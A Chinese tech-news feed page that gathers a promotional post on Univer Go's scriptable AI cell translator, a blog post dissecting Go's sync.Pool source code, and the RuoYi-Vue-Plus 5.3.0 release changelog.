Univer Go 是一款高度可定制化的电子表格工具,能够根据用户需求构建一个性能与功能对标excel的电子表格。它支持灵活的功能扩展,涵盖基础数据处理、复杂的导入导出操作和协同功能,同时为 UI/UX 设计提供了定制空间,助力打造易用交互界面。此外,Univer Go 融合先进 AI 技术,配备了功能强大的脚本编写与执行工具,支持开发者创建和运行自动化脚本、进行数据库连接与数据读写管理以及开发自定义应用。无论是初学者还是专业开发者,都能凭借其简洁的操作逻辑和丰富功能支持,轻松上手。
体验链接Univer Go
 
 

实现 AI Cell Translator

  1. 无需 VBA,使用您最熟悉的编程语言。

Univer Go 开放了丰富的API 供开发者调用,支持使用 javascript、python 来编写脚本
// 获取用户选中区域,将其内容传至 AI 翻译,再将翻译结果自动填充至对应单元格。
   for (let i = 0; i < cells.length; i++) { 
            const rows = cells[i]; 
            for (let j = 0; j < rows.length; j++) { 
                const cell = rows[j]; 
                if (!cell) continue; 
                const result = await translate(cell, target); 
                sheet.getRange(offsetY + i, offsetX + j).setValue(result); 
               } 
            }

 

 
  1. 自定义属于你的UI界面

将UI界面配置化, 轻松实现页面的自定义。让所有人都能拥有 属于自己的电子表格!!
// 添加一个菜单项 
    univerAPI.createMenu({ 
        id: 'translate-to-en', 
        title: 'Translate to English',
        action: () => translateSelectedCells("English"), 
    }).appendTo('ribbon.start.others');

 

快来试试现成模版 !

  1. 请先下载 Univer Go, 在模版中找到 AI Cell Translator ,点击使用
    1. 下载链接: Univer Go
 
  1. 右侧展示 代码编辑器,它提供了 AI 辅助编写API、语法高亮、代码折叠等功能,帮助开发者更高效地编写、调试和维护代码。
    1. 想要了解 AI 辅写功能请查看这篇文章: Univer Go 推出 AI 辅助编写 Univer API 功能
  2. 调整代码后预览表格,最后运行代码
 
 
  1. 在预览的表格内选中一个或多个包含文本的单元格。通过工具栏或右键菜单中选择翻译选项(“Translate to English”或“Translate to 中文”)。
 
  1. 只需四个简单步骤,轻松实现表格翻译功能,快来  Univer Go 解锁各类定制化功能!
 

 

by 来源: 投稿 at January 24, 2025 06:22 AM

juejin backend

Golang sync.pool源码解析

👋 大家好,我是思无邪,某go中厂开发工程师,也是OSPP2024的学生参与者!
🚀 如果你觉得我的文章有帮助,记得三连支持一下哦!
🍂 目前正在深入研究源码,与你们一起进步,共同攻克编程难关!
📝 欢迎关注我的公众号【小菜先生的编程随想】,一起学习、一起成长,勇敢面对互联网寒冬!💡

Golang sync.pool源码解析

- sync.pool
- 是什么
- 怎么用
- demo
- 真实世界的使用
- 源码解读-数据结构
- 源码解读-读写流程
- 写流程
- 读流程
- 源码解读-细节补充
- 总结

引言

sync.pool 是 golang 语言提供的一种用于缓存对象的“池子”。

可以通过 sync.pool 将对象放入“池”中缓存,在后续创建对象时避免真正申请内存创造对象的步骤,是一种典型的空间换时间的优化思路~

是什么 | 怎么用

sync.pool 是 golang 语言提供的一种对象缓存机制,通过将对象缓存在 pool 中,可以避免每次创建对象的时候都重新申请内存构造对象,而是直接从 pool 中取出对象使用即可,在频繁创建对象和销毁对象的时候极大的缓解了 gc 压力。

image.png

使用 demo 和注意事项

sync.pool的使用非常简单,创建池子之后put、get对象即可,全部代码可见:「我的github仓库」。

func NewStudent() *Student {
return &Student{}
}

type Student struct {
Name  string
Age   int
Right bool
}

func (s *Student) Clear() {
s.Name = ""
s.Age = 0
s.Right = false
}

var studentPool = sync.Pool{
New: func() interface{} {
return NewStudent()
},
}

func main() {
student := studentPool.Get().(*Student)
// 使用student

student.Clear() //返回给studentPool之前必须清空
studentPool.Put(student)
}

虽然使用非常简单,但是在使用的过程中,我们必须注意下面几个事项,以防使用出错。

  • 「非常重要」pool 在使用的时候需要在创建对象的时候或者是销毁的时候清空自己,如果不清空,产生的错误及其难排查错误。具体来说:对于基础数据类型,赋予零值,对于数组之类的,可以使用[:0]来清空,避免重新申请内存(当然同时要注意数组长度过长还是直接make(T,0)清空合适)。

  • 池子对外暴露的方法PutGet,其执行顺序没有任何依赖。Put后马上Get,存取的对象没有任何保证是同一个。

  • 大对象使用池优化效果明显:池子本身是对对象的复用,减少了重复创建对象和反复GC的开销,但是由于将对象放入池子中本身也存在一定的开销,因此一般来说对大对象才使用池进行优化,对于小对象可能还有反向优化。

真实世界的使用

  1. 在基于 gin 启动的 http server 中,针对到来的 http 请求,会为之分配一个 gin.Context 实例,由于承载关于这次请求链路的上下文信息.

    在这个场景中,gin.Context 就是一个可能被量产使用的工具类,其本身创建销毁成本不高,但随着 qps(Query Per-Second) 的增长,可能在短时间内被重复创建、销毁,因此很适合使用对象池技术进行缓存复用.

  2. fmt.Printf ,来源于golang源码:

// go 1.13.6

// pp is used to store a printer's state and is reused with sync.Pool to avoid allocations.
type pp struct {
    buf buffer
    ...
}

var ppFree = sync.Pool{
New: func() interface{} { return new(pp) },
}

// newPrinter allocates a new pp struct or grabs a cached one.
func newPrinter() *pp {
p := ppFree.Get().(*pp)
p.panicking = false
p.erroring = false
p.wrapErrs = false
p.fmt.init(&p.buf)
return p
}

源码解读-数据结构

结构总览

sync.pool设计的结构体的总览图如下:

image.png

  • Pool是对外提供的结构体,作为go的使用方可以直接看到。

  • local是一个数组,每个元素为poolLocal。其类型是unsafe.pointer也可以用来表示数组,后面单独总结,这先就看成数组即可。

  • poolLocal里面就两个元素:poolLocalInternalpadpoolLocalInternal是核心,pad只是为了字节对齐128而产生填充。

  • poolLocalInternal中两个元素:

    • private:每个p私有的元素,不会被其他p操作。
    • poolChain:对外提供双向链表的能力。不同于普通双向链表,其每个节点是一个环形数组而非一个数据。并且提供“有限制的”并发能力。

为什么poolChain中的每个节点是 环形数组 而非节点,大概原因是因为环形数组这样的结构是内存连续的,可以更好的利用cpu缓存的特性,这点更优于链表。

而既然环形数组这么优秀,那么为什么poolChain为什么还是一个链表呢?为什么不把它直接做成一个环形数组?

因为环形数组虽然可以利用缓存,但是其必须要提前申请空间,在元素数量不多的情况下会对空间有比较多的浪费。

poolchain的设计

poolChain有如下几个特点:

  • lock-free
  • 固定大小,ring形结构(底层存储使用数组,使用两个指针标记ehead、tail)
  • 单生产者
  • 多消费者
  • 生产者可以从head进行pushHeadpopHead
  • 消费者可以从tail进行popTail

上面提到【poolChain:对外提供双向链表的能力。不同于普通双向链表,其每个节点是一个环形数组而非一个数据。并且提供有限制的并发能力。】,对于有限制的并发能力,指的是:单生产者,可以从head进行pushHead生产、popHead消费;多消费者,消费者可以从tail进行popTail消费。

其具体设计细节虽然对pool的使用性能有很重要的影响,但是并不是本篇文章的重点,因此将其拆分在sync.pool中的“并发”“双向链表”poolChain的设计学习[^1]中。

源码解读-主要流程走读

sync.pool在创建之后,对外提供的操作入口之后两个:读(Get)和写(Put),两种操作在某种程度上是”逆反操作“。

归还对象流程

写流程的入口函数是Put函数,其函数如下代码块。主要逻辑也是很简单:

image.png

核心源码如下:

// Put adds x to the pool.
func (p *Pool) Put(x any) {
if x == nil {
return
}
l, _ := p.pin() //pin返回的两个元素:当前p对应的poolLocal,当前p的id
if l.private == nil { //private对象对p来说是私有的,存取效率更高,因此优先存取,这里发现没有,就存到这
l.private = x
x = nil
}
if x != nil { //private已经有了,就往shared里面放了,放入shared使用的是头插!
l.shared.pushHead(x)
}
runtime_procUnpin() //接触当前g独占p的状态
}

其中pin元素是比较有意思的,其主要功能是:让当前的g独占当前的p,并获取当前p对应的poolLocal,其源码如下:

// pin pins the current goroutine to P, disables preemption and
// returns poolLocal pool for the P and the P's id.
// Caller must call runtime_procUnpin() when done with the pool.
// pin函数让当前的g独占p,并且返回当前p的poolLocal和P的id
// 调用方必须在使用pool完毕后调用runtime_procUnpin()函数
func (p *Pool) pin() (*poolLocal, int) {
pid := runtime_procPin()
// In pinSlow we store to local and then to localSize, here we load in opposite order.
// Since we've disabled preemption, GC cannot happen in between.
// Thus here we must observe local at least as large localSize.
// We can observe a newer/larger local, it is fine (we must observe its zero-initialized-ness).
s := runtime_LoadAcquintptr(&p.localSize) // load-acquire
l := p.local                              // load-consume
if uintptr(pid) < s {
return indexLocal(l, pid), pid
}
return p.pinSlow()
}

按理来说没有太多特别的地方,因为按照预想的节奏,每个p与poolLocal是一一对应的关系,因此按照当前p的pid去数组对应下标取poolLocal就可以了!

但是有一点很重要也很有意思,这种p和poolLocal一一对应的关系是什么时候建立的?初始化的时候并没有这个操作! 其奥秘就在pinSlow函数中!

pinSlow的源码如下,简单易懂,主要逻辑是解锁后重新拿锁,并尝试重新分配local和localSize。

func (p *Pool) pinSlow() (*poolLocal, int) {
// Retry under the mutex.
// Can not lock the mutex while pinned.
runtime_procUnpin() //先解绑p与g
allPoolsMu.Lock() //所有pool共享这个锁
defer allPoolsMu.Unlock()
pid := runtime_procPin() //绑定
// poolCleanup won't be called while we are pinned.
s := p.localSize
l := p.local
if uintptr(pid) < s { // 在解绑p与g之后,加锁之前,可能已经有其他的goroutine执行了pinSlow函数,因此再校验一次
return indexLocal(l, pid), pid
}
if p.local == nil { 
allPools = append(allPools, p)
}
// If GOMAXPROCS changes between GCs, we re-allocate the array and lose the old one.
// 如果全局(所有goroutine)第一次进入pinSlow函数,或者改变了runtime.GOMAXPROCS导致进入pinSlow函数
// 就会触发local和localSize的重新分配。(原来的直接全部舍弃掉)
size := runtime.GOMAXPROCS(0)
local := make([]poolLocal, size)
atomic.StorePointer(&p.local, unsafe.Pointer(&local[0])) // store-release
runtime_StoreReluintptr(&p.localSize, uintptr(size))     // store-release
return &local[pid], pid
}

下面我们再来看下Put函数的最后一步:l.shared.pushHead(x),函数的定义如下,其主要功能是向共享的双向链表poolChain头插入一个节点。

func (c *poolChain) pushHead(val any) {
d := c.head   //对于头的操作是当前p特有的,因此不用考虑并发安全
if d == nil { //  头为nil,即链表中没有元素(没有环形数组),建立环形数组
// Initialize the chain.
const initSize = 8 // 环形数组大小必须是2的次方
d = new(poolChainElt)
d.vals = make([]eface, initSize)
c.head = d
storePoolChainElt(&c.tail, d) //对于尾的操作不是当前p特有的,因此需要用atom相关函数保证并发安全
}

if d.pushHead(val) { //对于环形数组的操作并不是p特有的,因此里面需要考虑并发安全
return
}

// 满了就新建一个元素(环形数组),大小为2倍,最大大小为dequeueLimit(32)
newSize := len(d.vals) * 2
if newSize >= dequeueLimit {
// Can't make it any bigger.
newSize = dequeueLimit
}

d2 := &poolChainElt{prev: d}
d2.vals = make([]eface, newSize)
c.head = d2
storePoolChainElt(&d.next, d2)
d2.pushHead(val)
}

这里面涉及了一些很有意思的设计:

  • poolChain.head不用考虑并发,poolChain.tail需要考虑并发:因为当前p是头插头取,而p操作的时候会使用pin使得当前g独占当前p,因此操作head不会涉及并发;对于其他p的操作是尾取,因此需要考虑并发安全。

拿取对象流程

拿取对象入口是Get函数,Get流程相较于Put稍微复杂,因为Put流程无论什么状态下只会涉及操作当前p绑定的local,但是Get可能会跑到其他p对应的local中的shared的双向链表中“偷取”对象;如果偷不到的话还可能取Vctim中去偷。

Get核心流程图如下,link

image.png 从Victim拿取的流程与从Local拿取相比,区别主要是不会优先从shared列表中拿取,原因在于Victim不会再有生产,因此也不用优先从当前的拿取了!

核心源码如下:

func (p *Pool) Get() any {
l, pid := p.pin()
x := l.private   //尝试从private拿取
l.private = nil
if x == nil {  
// Try to pop the head of the local shard. We prefer
// the head over the tail for temporal locality of
// reuse.
x, _ = l.shared.popHead() //private拿不到就自己的shared拿取,从头部拿取
if x == nil {
x = p.getSlow(pid)  //再拿不到就从其他p的local拿取,从尾部开始遍历; 再不行就走Victim拿取的流程
}
}
runtime_procUnpin()
if x == nil && p.New != nil { //最后的兜底,如果还没有拿到,那么就new一个新的出来
x = p.New()
}
return x
}

清理pool流程|poolCleanup函数

主要涉及的是:poolCleanup函数(GC的时候对池化对象的释放)

与 清理pool的流程 强相关的有victim和victimSize两个变量。

victim     unsafe.Pointer // local from previous cycle,上一轮的local
victimSize uintptr        // size of victims array ,上一轮的localSize

在pool文件的init函数中,其将清理pool的函数poolCleanup注册到gc的钩子中,在每次gc的时候都会执行poolCleanup函数清理sync.pool。

// pool.go文件 start
func init() {
runtime_registerPoolCleanup(poolCleanup)
}
//pool.go文件 end

//mgc.go文件  start
var poolcleanup func()

//go:linkname sync_runtime_registerPoolCleanup sync.runtime_registerPoolCleanup
func sync_runtime_registerPoolCleanup(f func()) {
poolcleanup = f
}

func clearpools() {
// clear sync.Pools
if poolcleanup != nil {
poolcleanup()
}
...
}

// gc入口
func gcStart(trigger gcTrigger) {
//...
clearpools()
//...
}

sync.pool的中总览图中,对于victimvictimSize介绍其是上一轮的locallocalSize变量,这里的“上一轮”指的是每一次清理sync.pool,因此在每一次gc的时候都会:会将local pool中缓存对象移动到victim cache中,然后在下一次GC时候,清空victim cache对象。

这也是为什么有种说法是sync.pool中的对象会保留两个gc的时间:第一个gc从local-->victim,第二个gc从victim-->内存释放。

再来看下poolCleanup函数,因为其发生的实际一定是gc期间,因此不用考虑锁、pin绑定之类的函数,一顿操作就行了。


func poolCleanup() {
// This function is called with the world stopped, at the beginning of a garbage collection.
// It must not allocate and probably should not call any runtime functions.

// Because the world is stopped, no pool user can be in a
// pinned section (in effect, this has all Ps pinned).

// Drop victim caches from all pools.
for _, p := range oldPools {
p.victim = nil
p.victimSize = 0
}

// Move primary cache to victim cache.
for _, p := range allPools {
p.victim = p.local
p.victimSize = p.localSize
p.local = nil
p.localSize = 0
}

// The pools with non-empty primary caches now have non-empty
// victim caches and no pools have primary caches.
oldPools, allPools = allPools, nil
}

源码解读-其它问题补充

victim数组

Q:在正文的「清理pool流程」部分,我们提到 sync.pool中的某个对象在第一轮gc的时候会从local-->victim,第二轮gc的时候才会从victim中被清理掉,那么为什么要有个victim这一步,而不直接被清理掉呢?

A:victim是“受害者”缓存,相当于是一个gc的缓冲。如果没有victim,那么一次gc之后,下次对象又需要完全重新申请,这时候会增加gc和内存申请的压力。显然victim也是一个空间换时间的做法,保留Victim优化性能的同时,也会带来额外的内存占用的开销!
因此这样的设计思想实际上是与gc类型的语言强绑定的,如果是非gc类的语言,也许需要一些其他类似思想机制代替victim数组。

软件开发领域很少有“银弹“。

unsafe.Pointer代表数组

Q1:local unsafe.Pointer 既然本质上是一个数组,那么为什么不直接按照数组来使用,要搞成 unsafe.Pointer的形式来使用呢?

A1:这里使用unsafe.Pointer的目的是为了性能,如果使用slice,那么为了保证原子性,不可避免的就需要引入Mutex来保证并发安全,而使用unsafe.Pointer之后,就可以使用atomic相关函数。

Q2:在sync.pool中,分别用locallocalSize维护数组和数组长度,怎么保证“数据的一致性”的?

A2:既然有两个变量,那么不适用Mutex的情况下肯定是没办法维护两个变量的一致性的。为了防止使用问题,因此只需要保证localSize小于等于数组实际大小即可。
可以从源码中看出,在重新分配的时候是先分配local然后才分配localSize。

// pinSlow函数 重新分配local和localSize,重新分配只会扩容,不会缩容
atomic.StorePointer(&p.local, unsafe.Pointer(&local[0])) // store-release
runtime_StoreReluintptr(&p.localSize, uintptr(size))     // store-release

在读取的时候与分配的时候是相反,先读取localSize再读取local,这样保证不会出现使用问题。

// pin函数
// In pinSlow we store to local and then to localSize, here we load in opposite order.
// 在pinSlow函数中,先储存local,然后储存localSize,因此以反着顺序来转载。
s := runtime_LoadAcquintptr(&p.localSize) // load-acquire
l := p.local                              // load-consume

Q3:使用了unsafe.Pointer来模拟一个array,那么增删改查操作应该如何完成?

A3:这是一个典型的通用问题,范例代码放在下方,如果刨去疯狂的类型转换,还是非常好理解的!

读取:

// indexLocal
// @Description:  读取对应的内存
// @param l 为数组刚开始的位置转换成的unsafe.Pointer
// @param i 偏移量,相当于[i]中的i
// @return *poolLocal 返回[i]命中的元素
func indexLocal(l unsafe.Pointer, i int) *poolLocal {
lp := unsafe.Pointer(uintptr(l) + uintptr(i)*unsafe.Sizeof(poolLocal{})) //为了能够进行+操作,因此转成uintptr进行操作
return (*poolLocal)(lp)
}

写入:创建一个slice,然后取第0个元素的地址即可。需要📢注意的是取的是第0个元素的地址,而非slice的地址!

// pinSlow 函数
// @Description:  初始化赋值就直接使用slice的方式来初始化,并且unsafe.Pointer(&local[0])来赋值。
size := xxx
local := make([]poolLocal, size)
atomic.StorePointer(&p.local, unsafe.Pointer(&local[0])) // store-release 
runtime_StoreReluintptr(&p.localSize, uintptr(size))     // store-release
golang既然自带gc,为什么官方不从需要被内存回收,但是还没有被内存回收的对象里面拿对象呢?

因为golang中gc的时候是会STW(stop the world)的,这个问题的前提是gc和pool.Get时间上是并行的,因此不存在这样的前提。

noCopy相关

Q:pool结构体相关部分中见到了noCopy相关的成员和注释,like:noCopy noCopy // nocopy机制,用于go vet命令检查是否复制后使用,这个用处是什么?
A:作用就是禁止这个结构产生复制行为,可以禁止的复制行为包括但是不限于显式的复制、隐式的函数传参复制,like:

image.png

type User struct {
noCopy noCopy
}
func main() {
u1 := User{}
_ = u1
testFunc(u1)
}
func testFunc(u User)  {

}

这时候如果使用go vet {文件名}的命令,就可以检测到是否存在不合理的复制:

(base) ➜  test26 git:(main) ✗ go vet main.go
# command-line-arguments
# [command-line-arguments]
./main.go:10:6: assignment copies lock value to _: command-line-arguments.User contains command-line-arguments.noCopy
./main.go:11:11: call of testFunc copies lock value: command-line-arguments.User contains command-line-arguments.noCopy
./main.go:13:17: testFunc passes lock by value: command-line-arguments.User contains command-line-arguments.noCopy

需要注意的是:go vet检测不合理的复制 != 编译失败。

实际上,现代的IDE也会直接在编译之前提示,like:image

Q2:noCopy在源码中是没有暴露出来的,我该怎么使用呢?

A2:没有太好的办法直接使用,最简单的办法就是把源码的视线部分搬到自己的代码中即可:其实就是实现Locker即可,源码如下:

// noCopy may be embedded into structs which must not be copied
// after the first use.
//
// See https://golang.org/issues/8005#issuecomment-190753527
// for details.
type noCopy struct{}

// Lock is a no-op used by -copylocks checker from `go vet`.
func (*noCopy) Lock()   {}
func (*noCopy) Unlock() {}

全部代码可见:我的代码仓库

总结

sync.pool为我们提供了一个并发安全的对象池,让我们放心的存取对象,在使用的时候,需要注意”清空“对象。
sync.pool中有很多精妙的设计思想值得我们学习,包括但不限于:poolChain、内存对齐、sync.pool与golang的gpm体系的结合等等。

  • poolChain:无锁实现一定并发安全能力的poolChain、并且综合链表和环形数组的优劣势。

  • 底层原理中充分考虑到了cpu的缓存,128bit的padding对齐;localPool的private变量

  • 代码是逐步优化来的,就算是golang源码编写者这样级别的大佬们,也没法一步就编写出如此精妙的代码,包括但不限于poolChain环形链表和victim数组的设计都是不断演进来的,而不是一开始就全部设计好的,具体见:Go 1.13中 sync.Pool 是如何优化的?

参考:

geektutu.com/post/hpg-sy…

深度解密 Go 语言之 sync.Pool - Stefno - 博客园

Go 并发编程 — 深度剖析 sync.Pool 源码级原理_并发编程_奇伢云存储_InfoQ写作社区

Go 1.13中 sync.Pool 是如何优化的?

感谢大家阅读到这里!🎉
如果你有任何问题或想法,欢迎在评论区留言,我们一起讨论、一起进步!
如果你觉得这篇文章对你有所帮助,也请不吝点赞、分享,支持博主继续创作更多优质内容!💪
关注【小菜先生的编程随想】公众号,我们一起在编程的道路上越走越远,战胜一切挑战!💥
希望可以下次再见!👋

by 思无邪_ at January 24, 2025 06:07 AM

oschina news project

RuoYi-Vue-Plus 发布 5.3.0 新春版 warm-flow 强强联合


更新日志

重大更新

  • 重构数据权限实现逻辑 支持任意mapper方法标注注解 无需再找真实mapper标注

  • 重写工作流模块 接入warm-flow工作流 移除flowable工作流(过于复杂 用不明白的人太多)

依赖升级

  • update springboot 3.2.11 => 3.4.1

  • update springboot-admin 3.2.3 => 3.4.1

  • update mybatis-plus 3.5.8 => 3.5.9

  • update snailjob 1.1.2 => 1.3.0(感谢 dhb52)

  • update springdoc 2.6.0 => 2.8.3

  • update redisson 3.37.0 => 3.43.0

  • update justauth 1.16.6 => 1.16.7 支持多种登录方式 不限于三方登录

  • update mybatis-plus 3.5.9 => 3.5.10

  • update hutool 5.8.31 => 5.8.35

  • update mapstruct-plus 1.4.5 => 1.4.6

  • update lombok 1.18.34 => 1.18.36

  • update anyline 20241022 => 20250101

功能更新

  • update 优化 查询oss图片url接口改为query标识符

  • update 优化 绑定三方与解绑三方校验token是否存在

  • update 优化 OSS私有桶的临时URL获取方法(感谢 秋辞未寒)

  • update 优化 ws模块替换session的时候关闭session连接

  • update 优化 数据权限 判断当前注解不满足模板则跳过

  • update 优化 使用request存储动态租户 避免单请求多次查询redis获取

  • update 优化 修改部门信息增加事务(感谢 AprilWind)

  • update 优化 增加菜单选择拓展参数(感谢 玲娜贝er)

  • update 优化 jdk21环境开启虚拟线程时的定时任务池(感谢 秋辞未寒)

  • update 优化 sse 如果获取token列表为空 删除userid对应的存储

  • update 优化 数据权限处理器 增加默认值处理 针对于表达式变量与注解不对应或者表达式变量为null的情况

  • update 优化 关闭sse后 使用工具报错

  • update 优化 增加mybatis-plus一键开启/关闭逻辑删除功能

  • update 优化 修改日志时间展示颜色(感谢 疯狂的牛子Li)

  • update 适配 TOPIAM 2.0 单点登录(感谢 马铃薯头)

  • update 优化 完善微信小程序登录接口逻辑

  • update 优化 重构DateUtils工具类 更加实用

  • update 优化 为部门角色岗位用户增加一些常用查询方法

  • update 优化 登录用户增加岗位数据

  • update 优化 去除部门查询状态校验 改为前端过滤 便于查看禁用部门下的其他数据

  • update 优化 部门树增加禁用标志位

  • update 优化 workflow 模块增加接口文档生成功能

  • update 优化 代码生成 增加buildQueryWrapper默认排序规则

  • update 优化 代码生成 创建更新时间被覆盖问题

  • update 优化 代码生成排序问题(感谢 AprilWind)

  • update 优化 在线用户查询 优先查询租户下数据 减少数据量

  • update 优化 租户域名使用忽略大小写匹配

  • update 优化 代码生成器 将数据库字段默认转为小写 避免某些数据库大写出现的问题

  • update 优化 由于sse重试机制导致经常输出认证失败日志过多 将sse失败改为debug

  • update 优化 有界队列销毁方式 应该使用特殊销毁方法

  • update 优化 redis序列化 支持更快的apache二进制跨语言序列化方案

  • update 优化 租户日志模块名

  • update 优化 增加默认数据权限 "部门及以下或本人数据权限" 选项

  • update 优化 代码生成器 pg数据库 主键获取不精确问题

  • update 优化 代码生成器类型获取

  • update 优化 个人中心强退设备接口路径

  • update 优化 Dockerfile 消除warn警告

  • update 优化 补充客户端工具类注释(感谢 AprilWind)

  • update 优化 补充Undertow自定义配置信息注释(感谢 AprilWind)

  • update 优化 拦截爬虫跟踪等垃圾请求

  • update 优化 将Log记录异常长度改为5000

  • update 优化 将Log记录参数长度扩充为5000更符合实际需求

  • update 优化 xss包装器 Parameter 处理 兼容某些容器不允许改参数的情况

  • update 优化 支持脱敏传多角色多权限标识

  • update 优化 角色删除清理缓存

  • update 优化 使用ObjectUtils新增方法封装代码

  • update 优化 数据权限查询增加缓存

  • update 优化 代码生成器数字类别判断

  • update 优化 逻辑删除状态改为1 避免误解

  • update 重构 将UserConstants改为SystemConstants 统一常量使用 降低使用难度避免误解

  • update 优化 封装部门基于父id查询方法

  • update 优化 不传用户id不校验数据权限

  • update 优化 部门树多基点展示问题 支持相同名称节点并排展示

  • update 优化 去除OSS桶检测 桶不存在自然会报错无需额外检测

  • update 优化 限流注解增加固定清理时间

  • update 优化 sys_social表 租户id增加默认值

  • update 优化 jackson 过期方法

  • update 优化 多租户插件初始化流程

  • update 优化 去除GenUtils设置createby逻辑 统一走自动注入设置

  • update 优化 替换RedisUtils中的废弃方法getKeysStreamByPattern及trySetRate(感谢 Lucien_Lu)

  • update 优化 删除桶自动创建代码逻辑(云厂商限制不允许操作桶)

  • update 优化 角色清理在线用户代码逻辑

功能新增

  • add 新增 导出模板必填、备注注解实现(感谢 liyang)

  • add 新增 基于Redisson的发号器工具(感谢 秋辞未寒)

  • add 新增 validation支持枚举校验(感谢 秋辞未寒)

  • add 新增 validation支持枚举校验(感谢 秋辞未寒)

  • add 新增 对象工具类(感谢 秋辞未寒)

  • add 增加 邮件多附件demo

问题修复

  • fix 修复 文件下载 设置content-length无效问题

  • fix 修复 satoken dao层获取timeout为秒导致丢失毫秒进度问题(临时修复 等satoken官方解决)

  • fix 修复 postgresql的表元数据没有创建时间这个东西(好奇葩) 只能new Date代替

  • fix 修复 数据权限 多角色多注解包含忽略权限标识符逻辑不正确问题

  • fix 修复 未开启sse 找不到bean问题

  • fix 修复 数据权限导致的个人中心的修改头像和修改密码接口错误(感谢 QianRj)

  • fix 修复 部门数据权限缓存错误(感谢 QianRj)

  • fix 修复 三方授权工具部分网站授权缺失参数问题

  • fix 修复 代码生成 表名中间带有特殊字符被过滤问题 改为开头过滤

  • fix 修复 字段长度超出数据库限制问题

  • fix 修复 过滤器正则错误

  • fix 修复 monitor 设置 context-path 导致退出重新登录404问题

  • fix 修复 数据权限多角色与权限标识符共用导致的问题 https://gitee.com/dromara/RuoYi-Vue-Plus/issues/IB4CS4

  • fix 修复 排除websocket包内包含的tomcat依赖(导致一些问题)

  • fix 修复 PageQuery 转json报错问题

  • fix 修复 sse 关闭接口无法断连问题

  • fix 修复 PlusSmsDao#clean 方法书写错误

  • fix 修复 excel级联下拉框数据错误(感谢 Emil.Zhang)

  • fix 修复 某些模块不存在 mp 依赖导致方法报错问题

  • fix 修复 新版本mp默认使用最新 sqlserver 语法导致代码生成分页报错问题

  • fix 修复 OssClient 回滚错误修改

  • fix 修复 注册日志记录状态错误

前端改动

  • update typescript 5.4.5 => 5.7.2

  • update vite 5.2.12 => 5.4.11

  • update vue 3.4.34 => 3.5.13

  • update element-plus 2.7.8 => 2.8.8

  • update eslint 升级v9版本(感谢 玲娜贝er)

  • update vue-i18n 10.0.5

  • update 优化 parseTime 提示报错问题

  • update 优化 国际化 变量提示

  • update 优化 重写工作流相关页面

  • update 优化 主题色在深色模式下显示亮度(感谢 LiuHao)

  • update 优化 hasRoles 方法增加超管判断

  • update 优化 用户页面 增加导入到处权限标识

  • update 优化 TopNav内链菜单点击没有高亮

  • update 优化 新增编辑用户 过滤禁用的部门

  • update 优化 白名单增加正则匹配示例

  • update 优化 白名单支持对通配符路径匹配

  • update 优化 i18n $t方法支持ts类型提示(感谢 玲娜贝er)

  • update 优化 登录页多语言按钮样式

  • update 优化 补充登录页与注册页的国际化内容并添加切换语言按钮(感谢 QianRj)

  • update 优化 eslint升级v9版本 & 更新一些不符合校验规则的代码(感谢 玲娜贝er)

  • update 优化 全代码规范化处理

  • update 优化 代码生成导入下拉框默认值处理

  • update 优化 菜单面包屑导航支持多层级显示

  • update 优化 参数键值更换为多行文本

  • update 优化 增加默认数据权限 "部门及以下或本人数据权限" 选项

  • update 优化 permission loadView避免整个modules循环 允许view中间有views文件夹(感谢 admin_lijinfu)

  • update 优化 个人中心强退设备接口路径

  • update 优化 直接从@/lang/*.ts后缀的i18n文件中读取各国语言包信息(感谢 QianRj)

  • update 优化 将同步字典功能迁移到租户管理内

  • update 优化 重构操作日志详情样式(感谢 玲娜贝er)

  • update 优化 字典缓存使用Map代替Array更高效(感谢 月夜)

  • update 优化 校检文件名是否包含特殊字符

  • update 优化 getTenantList 接口动态决定是否传token

  • fix 修复 切换租户 tabs过多导致卡住问题

  • fix 修复 用户管理界面修改按钮权限字符串错误(感谢 QianRj)

  • fix 修复 oss配置页 展示配置key 隐藏主键id

  • fix 修复 页面api过期警告

  • fix 修复 代码生成列表加载问题你

  • fix 修复 修复默认关闭Tags-Views时,内链页面打不开

  • fix 修复 用户选择组件 id类型不统一问题

  • fix 修复 代码生成 编辑之后查两遍列表的问题

  • fix 修复 登录无redirect参数404问题

  • fix 修复 monitor 设置 context-path 导致退出重新登录404问题

  • fix 修复 手动登出与token过期登出跳转行为不一致问题

  • fix 修复 关闭sse功能 登出还是会发送sse关闭请求导致报错问题

  • fix 修复 内嵌页面数据缓存导致与外部页面不一致问题

平台简介

RuoYi-Vue-Plus 是重写 RuoYi-Vue 针对 分布式集群与多租户 场景全方位升级(不兼容原框架)

项目代码、文档 均开源免费可商用 遵循开源协议在项目中保留开源协议文件即可
活到老写到老 为兴趣而开源 为学习而开源 为让大家真正可以学到技术而开源

系统演示: https://plus-doc.dromara.org/#/common/demo_system

前端项目地址: https://gitee.com/JavaLionLi/plus-ui
成员前端项目地址: 基于vben5 https://gitee.com/dapppp/ruoyi-plus-vben5

文档地址: https://plus-doc.dromara.org

本框架与RuoYi的功能差异

功能 本框架 RuoYi
前端项目 采用 Vue3 + TS + ElementPlus 重写 基于Vue2/Vue3 + JS
后端项目结构 采用插件化 + 扩展包形式 结构解耦 易于扩展 模块相互注入耦合严重难以扩展
后端代码风格 严格遵守Alibaba规范与项目统一配置的代码格式化 代码书写与常规结构不同阅读障碍大
Web容器 采用 Undertow 基于 XNIO 的高性能容器 采用 Tomcat
权限认证 采用 Sa-Token、Jwt 静态使用功能齐全 低耦合 高扩展 Spring Security 配置繁琐扩展性极差
权限注解 采用 Sa-Token 支持注解 登录校验、角色校验、权限校验、二级认证校验、HttpBasic校验、忽略校验
角色与权限校验支持多种条件 如 AND OR权限 OR 角色 等复杂表达式
只支持是否存在匹配
三方鉴权 采用 JustAuth 第三方登录组件 支持微信、钉钉等数十种三方认证
关系数据库支持 原生支持 MySQL、Oracle、PostgreSQL、SQLServer
可同时使用异构切换(支持其他 mybatis-plus 支持的所有数据库 只需要增加jdbc依赖即可使用 达梦金仓等均有成功案例)
支持 Mysql、Oracle 不支持同时使用、不支持异构切换
缓存数据库 支持 Redis 5-7 支持大部分新功能特性 如 分布式限流、分布式队列 Redis 简单 get set 支持
Redis客户端 采用 Redisson Redis官方推荐 基于Netty的客户端工具
支持Redis 90%以上的命令 底层优化规避很多不正确的用法 例如: keys被转换为scan
支持单机、哨兵、单主集群、多主集群等模式
Lettuce + RedisTemplate 支持模式少 工具使用繁琐
连接池采用 common-pool Bug多经常性出问题
缓存注解 采用 Spring-Cache 注解 对其扩展了实现支持了更多功能
